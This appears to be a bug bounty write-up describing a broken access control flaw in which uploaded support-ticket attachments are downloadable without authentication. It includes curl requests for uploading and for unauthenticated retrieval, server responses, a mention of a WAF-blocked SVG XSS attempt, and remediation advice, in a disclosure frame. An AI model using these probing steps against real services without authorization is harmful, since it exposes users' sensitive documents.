July 7, 2026
BUG Bounty — The Upload Was Protected, But the File Was Public.
Hello, Bug Hunter! In this writeup, I want to discuss a critical security misconfiguration I recently discovered during a bug bounty…

By Kenjisubagja
3 min read
Hello, Bug Hunter! In this writeup, I want to discuss a critical security misconfiguration I recently discovered during a bug bounty assessment. The vulnerability lies in the Broken Access Control (BAC) category — specifically, how a business logic flaw allowed unauthenticated access to sensitive user-uploaded documents.
To respect the organization's security and privacy, all identifying details, including domains, specific paths, and unique identifiers, have been redacted or modified to target.com.
The Core Issue
Modern web applications often require users to upload attachments (such as screenshots, invoices, or identity verification documents) when creating support tickets. While the upload functionality is usually tightly guarded by authentication tokens, the mechanism used to retrieve or view those files afterward can sometimes bypass these checks.
During my testing, I observed that after an authenticated user uploads a support attachment, the API returns a JSON response containing a unique UUID-like fileHash.
The core vulnerability is that the endpoint responsible for serving these files did not enforce any session or authorization checks:
GET /api/v1/support-ticket-attachments/{fileHash}/ HTTP/2
Host: api.target.comGET /api/v1/support-ticket-attachments/{fileHash}/ HTTP/2
Host: api.target.comEven though the application relies on an unpredictable UUID string (Security by Obscurity), access control should never depend solely on the secrecy of a URL, especially when dealing with data that may contain PII (Personally Identifiable Information).
Proof of Concept & Technical Breakdown
To comprehensively validate this vulnerability, I simulated a standard user workflow and cross-checked the access controls from an unauthenticated perspective.
1. Ticket Creation & Scope Validation
First, I generated a support ticket using an authenticated test account.
{
"id": 8291,
"ticketKey": "1002-[REDACTED]"
}{
"id": 8291,
"ticketKey": "1002-[REDACTED]"
}Note: I performed control checks to see if I could access this ticket's chat log or metadata from another account. The application properly responded with a 403 Forbidden, indicating that the endpoint authorization logic for the ticket itself was solid.
2. Attachment Upload
Next, I uploaded a JPEG image (poc.jpg) into the context of my owned support ticket, passing a valid JSON Web Token (JWT) in the authorization header:
curl --http2 -i -sS 'https://api.target.com/api/v1/UploadSupportTicketAttachment?supportTicketId=8291' \
-H 'Authorization: Bearer <VALID_USER_TOKEN>' \
-F 'file=@poc.jpg;filename=evidence.jpg;type=image/jpeg'curl --http2 -i -sS 'https://api.target.com/api/v1/UploadSupportTicketAttachment?supportTicketId=8291' \
-H 'Authorization: Bearer <VALID_USER_TOKEN>' \
-F 'file=@poc.jpg;filename=evidence.jpg;type=image/jpeg'The application processed the file successfully, returning a 200 OK along with the metadata and the assigned hash:
{
"id": 0,
"supportTicketId": 0,
"supportTicketChatHistoryId": 0,
"fileName": "evidence.jpg",
"fileHash": "9828eeb3-bb2b-4cfb-baa2-95272c19ce90",
"mimeType": "image/jpeg"
}{
"id": 0,
"supportTicketId": 0,
"supportTicketChatHistoryId": 0,
"fileName": "evidence.jpg",
"fileHash": "9828eeb3-bb2b-4cfb-baa2-95272c19ce90",
"mimeType": "image/jpeg"
}3. Unauthenticated Direct Object Access
To verify the access control flaw, I attempted to retrieve the asset directly via curl without including any cookies, sessions, or Authorization headers:
curl --http2 -i -sS \
'https://api.target.com/api/v1/support-ticket-attachments/9828eeb3-bb2b-4cfb-baa2-95272c19ce90/'curl --http2 -i -sS \
'https://api.target.com/api/v1/support-ticket-attachments/9828eeb3-bb2b-4cfb-baa2-95272c19ce90/'The Response:
HTTP/2 200 OK
Content-Type: image/jpeg
Content-Length: 159
ff d8 ff e0 00 10 4a 46 49 46 ...HTTP/2 200 OK
Content-Type: image/jpeg
Content-Length: 159
ff d8 ff e0 00 10 4a 46 49 46 ...The server returned a 200 OK status code alongside the raw binary data starting with the standard JPEG file signature (ff d8 ff e0...). This definitively proved that the resource storage path lacked perimeter access control.
Additional Vectors: Testing for Stored XSS via SVG
As an additional layer of analysis, I investigated whether the file rendering logic could lead to worse impacts, such as Stored Cross-Site Scripting (XSS) via SVG files.
I successfully uploaded a benign SVG format attachment using the authenticated endpoint:
curl --http2 -i -sS 'https://api.target.com/api/v1/UploadSupportTicketAttachment?supportTicketId=8291' \
-H 'Authorization: Bearer <VALID_USER_TOKEN>' \
-F 'file=@test.svg;filename=vector.svg;type=image/svg+xml'curl --http2 -i -sS 'https://api.target.com/api/v1/UploadSupportTicketAttachment?supportTicketId=8291' \
-H 'Authorization: Bearer <VALID_USER_TOKEN>' \
-F 'file=@test.svg;filename=vector.svg;type=image/svg+xml'The unauthenticated endpoint served the SVG with the correct Content-Type: image/svg+xml response header. However, when attempting to execute active Javascript payloads embedded inside the SVG (e.g., onload), the application's Web Application Firewall (WAF) correctly intervened and dropped the malicious request.
Thus, the primary risk profile of this finding remained restricted to unauthorized data exposure.
Business & Security Impact
The business risk associated with exposed support attachments is significant. Users routinely upload highly sensitive data when processing support disputes, including:
- Financial records, transaction receipts, and billing information.
- Account ownership proof and internal screenshots.
- Government-issued identification or KYC documentation.
If these direct asset URLs are leaked via infrastructure logs, proxy servers, browser history, HTTP referrers, or client-side application sharing, an attacker can download the sensitive attachment instantly without needing a foothold or session on the platform.
Remediation Strategies
To safely handle user-supplied media files within protected contexts, developers should implement one of the following architectural patterns:
- Session-Aware Routing: Ensure that the asset-serving route validates the incoming user's session against the object's access control list (ACL) before streaming the file bytes from storage.
- Short-Lived Signed URLs: Instead of serving files from static, predictable, or permanent URLs, keep the backend storage completely private. When an authorized user requests to view a file, generate a cryptographically signed URL (e.g., AWS S3 Pre-signed URLs) that automatically expires after a brief window (e.g., 5 to 15 minutes).
Conclusion
When conducting API security assessments, it is crucial to test the entire lifecycle of an object — from its creation and storage to its public-facing delivery channel. Ensuring that an upload routine requires validation is only half the battle; the storage architecture must be equally aware of authorization boundaries.
Thank you for reading, and fly safe!